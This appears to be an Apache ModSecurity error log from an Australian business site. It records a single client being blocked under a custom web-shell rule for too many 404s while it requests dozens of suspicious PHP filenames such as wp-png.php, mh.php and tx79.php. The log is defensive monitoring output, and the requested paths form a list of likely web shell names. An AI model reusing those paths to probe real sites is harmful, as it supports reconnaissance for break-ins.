[Fri Apr 24 05:22:57.376599 2026] [:error] [pid 19102:tid 19181] [client 20.216.186.228:60231] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/as.php"] [unique_id "aeqNsQDSgrbLEZbkqD6wLgAAAJE"]
[Fri Apr 24 05:22:58.143774 2026] [:error] [pid 19102:tid 19179] [client 20.216.186.228:56065] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/as.php"] [unique_id "aeqNsgDSgrbLEZbkqD6wMgAAAI8"]
[Fri Apr 24 05:22:59.039004 2026] [:error] [pid 19200:tid 19224] [client 20.216.186.228:58321] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/as.php"] [unique_id "aeqNszQ--M3-tsKAnhGIDAAAANA"]
[Fri Apr 24 05:22:59.925518 2026] [:error] [pid 19102:tid 19188] [client 20.216.186.228:56090] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ctex1.php"] [unique_id "aeqNswDSgrbLEZbkqD6wOQAAAJg"]
[Fri Apr 24 05:23:00.775606 2026] [:error] [pid 19200:tid 19218] [client 20.216.186.228:58318] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ctex1.php"] [unique_id "aeqNtDQ--M3-tsKAnhGIEAAAAMo"]
[Fri Apr 24 05:23:01.519863 2026] [:error] [pid 19200:tid 19220] [client 20.216.186.228:58264] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ctex1.php"] [unique_id "aeqNtTQ--M3-tsKAnhGIEwAAAMw"]
[Fri Apr 24 05:23:02.268410 2026] [:error] [pid 19200:tid 19217] [client 20.216.186.228:57699] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ctex1.php"] [unique_id "aeqNtjQ--M3-tsKAnhGIFQAAAMk"]
[Fri Apr 24 05:23:03.185236 2026] [:error] [pid 19200:tid 19229] [client 20.216.186.228:60284] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/lb.php"] [unique_id "aeqNtzQ--M3-tsKAnhGIGAAAANU"]
[Fri Apr 24 05:23:03.993217 2026] [:error] [pid 19100:tid 19132] [client 20.216.186.228:56108] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/lb.php"] [unique_id "aeqNt7F_hzQs4Cqbiff99wAAABY"]
[Fri Apr 24 05:23:04.557862 2026] [:error] [pid 19200:tid 19217] [client 20.216.186.228:58323] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/lb.php"] [unique_id "aeqNuDQ--M3-tsKAnhGIIQAAAMk"]
[Fri Apr 24 05:23:05.116413 2026] [:error] [pid 19100:tid 19111] [client 20.216.186.228:44304] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/lb.php"] [unique_id "aeqNubF_hzQs4Cqbiff9_QAAAAI"]
[Fri Apr 24 05:23:05.747172 2026] [:error] [pid 19100:tid 19126] [client 20.216.186.228:56823] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "aeqNubF_hzQs4Cqbiff-AwAAABA"]
[Fri Apr 24 05:23:06.809750 2026] [:error] [pid 19200:tid 19209] [client 20.216.186.228:58249] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "aeqNujQ--M3-tsKAnhGIKgAAAME"]
[Fri Apr 24 05:23:07.677495 2026] [:error] [pid 19101:tid 19141] [client 20.216.186.228:57671] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "aeqNu2AHj9bEvrTgbO3C-wAAAEQ"]
[Fri Apr 24 05:23:08.471795 2026] [:error] [pid 52129:tid 52145] [client 20.216.186.228:60240] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "aeqNvOKCZKf8_u2LKiBBnQAAAQw"]
[Fri Apr 24 05:23:09.066657 2026] [:error] [pid 52129:tid 52144] [client 20.216.186.228:65105] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/mh.php"] [unique_id "aeqNveKCZKf8_u2LKiBBoAAAAQs"]
[Fri Apr 24 05:23:09.805654 2026] [:error] [pid 19102:tid 19171] [client 20.216.186.228:59583] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/mh.php"] [unique_id "aeqNvQDSgrbLEZbkqD6wRgAAAIc"]
[Fri Apr 24 05:23:10.454906 2026] [:error] [pid 52129:tid 52138] [client 20.216.186.228:44314] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/mh.php"] [unique_id "aeqNvuKCZKf8_u2LKiBBqgAAAQU"]
[Fri Apr 24 05:23:11.258673 2026] [:error] [pid 52129:tid 52157] [client 20.216.186.228:57723] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/mh.php"] [unique_id "aeqNv-KCZKf8_u2LKiBBrgAAARg"]
[Fri Apr 24 05:23:12.108786 2026] [:error] [pid 52129:tid 52139] [client 20.216.186.228:59540] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aeqNwOKCZKf8_u2LKiBBtgAAAQY"]
[Fri Apr 24 05:23:12.700189 2026] [:error] [pid 19101:tid 19144] [client 20.216.186.228:58244] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aeqNwGAHj9bEvrTgbO3DBgAAAEc"]
[Fri Apr 24 05:23:13.287233 2026] [:error] [pid 52129:tid 52154] [client 20.216.186.228:65148] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aeqNweKCZKf8_u2LKiBBvAAAARU"]
[Fri Apr 24 05:23:13.902695 2026] [:error] [pid 19102:tid 19164] [client 20.216.186.228:59560] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "aeqNwQDSgrbLEZbkqD6wTgAAAIA"]
[Fri Apr 24 05:23:14.647948 2026] [:error] [pid 19102:tid 19166] [client 20.216.186.228:56096] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/auth.php"] [unique_id "aeqNwgDSgrbLEZbkqD6wUgAAAII"]
[Fri Apr 24 05:23:15.389338 2026] [:error] [pid 19102:tid 19181] [client 20.216.186.228:57704] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/auth.php"] [unique_id "aeqNwwDSgrbLEZbkqD6wWAAAAJE"]
[Fri Apr 24 05:23:16.226192 2026] [:error] [pid 52129:tid 52142] [client 20.216.186.228:44319] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/auth.php"] [unique_id "aeqNxOKCZKf8_u2LKiBBxQAAAQk"]
[Fri Apr 24 05:23:17.094647 2026] [:error] [pid 19102:tid 19169] [client 20.216.186.228:56792] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/auth.php"] [unique_id "aeqNxQDSgrbLEZbkqD6wXgAAAIU"]
[Fri Apr 24 05:23:17.926941 2026] [:error] [pid 19101:tid 19160] [client 20.216.186.228:60248] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeqNxWAHj9bEvrTgbO3DDQAAAFc"]
[Fri Apr 24 05:23:18.768652 2026] [:error] [pid 19100:tid 19119] [client 20.216.186.228:57718] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeqNxrF_hzQs4Cqbiff-GQAAAAk"]
[Fri Apr 24 05:23:19.851813 2026] [:error] [pid 19102:tid 19174] [client 20.216.186.228:65097] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeqNxwDSgrbLEZbkqD6wZQAAAIo"]
[Fri Apr 24 05:23:20.736147 2026] [:error] [pid 19102:tid 19183] [client 20.216.186.228:60285] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "aeqNyADSgrbLEZbkqD6waAAAAJM"]
[Fri Apr 24 05:23:21.369726 2026] [:error] [pid 19102:tid 19169] [client 20.216.186.228:56070] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aeqNyQDSgrbLEZbkqD6waQAAAIU"]
[Fri Apr 24 05:23:22.119490 2026] [:error] [pid 19101:tid 19139] [client 20.216.186.228:65127] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aeqNymAHj9bEvrTgbO3DFwAAAEI"]
[Fri Apr 24 05:23:22.864149 2026] [:error] [pid 52129:tid 52135] [client 20.216.186.228:57706] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aeqNyuKCZKf8_u2LKiBB3AAAAQI"]
[Fri Apr 24 05:23:23.584408 2026] [:error] [pid 52129:tid 52142] [client 20.216.186.228:56094] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aeqNy-KCZKf8_u2LKiBB3gAAAQk"]
[Fri Apr 24 05:23:24.622690 2026] [:error] [pid 52129:tid 52157] [client 20.216.186.228:60236] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "aeqNzOKCZKf8_u2LKiBB4gAAARg"]
[Fri Apr 24 05:23:25.302342 2026] [:error] [pid 52129:tid 52154] [client 20.216.186.228:59580] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "aeqNzeKCZKf8_u2LKiBB5AAAARU"]
[Fri Apr 24 05:23:25.941371 2026] [:error] [pid 19100:tid 19118] [client 20.216.186.228:60249] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "aeqNzbF_hzQs4Cqbiff-KwAAAAg"]
[Fri Apr 24 05:23:26.700006 2026] [:error] [pid 19200:tid 19216] [client 20.216.186.228:60267] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "aeqNzjQ--M3-tsKAnhGISAAAAMg"]
[Fri Apr 24 05:23:27.458657 2026] [:error] [pid 52129:tid 52143] [client 20.216.186.228:58302] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aeqNz-KCZKf8_u2LKiBB6gAAAQo"]
[Fri Apr 24 05:23:28.377897 2026] [:error] [pid 19200:tid 19215] [client 20.216.186.228:56122] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aeqN0DQ--M3-tsKAnhGISwAAAMc"]
[Fri Apr 24 05:23:29.113451 2026] [:error] [pid 52129:tid 52136] [client 20.216.186.228:52655] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aeqN0eKCZKf8_u2LKiBB9QAAAQM"]
[Fri Apr 24 05:23:29.878147 2026] [:error] [pid 52129:tid 52144] [client 20.216.186.228:56781] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "aeqN0eKCZKf8_u2LKiBB_AAAAQs"]
[Fri Apr 24 05:23:30.581837 2026] [:error] [pid 19100:tid 19121] [client 20.216.186.228:57694] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aeqN0rF_hzQs4Cqbiff-MAAAAAs"]
[Fri Apr 24 05:23:31.120031 2026] [:error] [pid 52129:tid 52139] [client 20.216.186.228:57710] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aeqN0-KCZKf8_u2LKiBCBQAAAQY"]
[Fri Apr 24 05:23:31.645300 2026] [:error] [pid 52129:tid 52135] [client 20.216.186.228:52662] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aeqN0-KCZKf8_u2LKiBCCAAAAQI"]
[Fri Apr 24 05:23:32.260997 2026] [:error] [pid 52129:tid 52134] [client 20.216.186.228:56073] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aeqN1OKCZKf8_u2LKiBCDAAAAQE"]
[Fri Apr 24 05:23:32.937000 2026] [:error] [pid 19200:tid 19221] [client 20.216.186.228:56793] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeqN1DQ--M3-tsKAnhGIUQAAAM0"]
[Fri Apr 24 05:23:33.551299 2026] [:error] [pid 19200:tid 19232] [client 20.216.186.228:57700] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeqN1TQ--M3-tsKAnhGIUwAAANg"]
[Fri Apr 24 05:23:34.719405 2026] [:error] [pid 19102:tid 19175] [client 20.216.186.228:56807] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeqN1gDSgrbLEZbkqD6weQAAAIs"]
[Fri Apr 24 05:23:35.984512 2026] [:error] [pid 19102:tid 19174] [client 20.216.186.228:56088] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeqN1wDSgrbLEZbkqD6wfAAAAIo"]
[Fri Apr 24 05:23:37.209600 2026] [:error] [pid 19200:tid 19223] [client 20.216.186.228:58250] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "aeqN2TQ--M3-tsKAnhGIWwAAAM8"]
[Fri Apr 24 05:23:38.044766 2026] [:error] [pid 19101:tid 19160] [client 20.216.186.228:57665] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "aeqN2mAHj9bEvrTgbO3DJgAAAFc"]
[Fri Apr 24 05:23:38.607713 2026] [:error] [pid 19102:tid 19181] [client 20.216.186.228:56102] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "aeqN2gDSgrbLEZbkqD6wggAAAJE"]
[Fri Apr 24 05:23:39.278833 2026] [:error] [pid 19200:tid 19231] [client 20.216.186.228:56816] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "aeqN2zQ--M3-tsKAnhGIYgAAANc"]
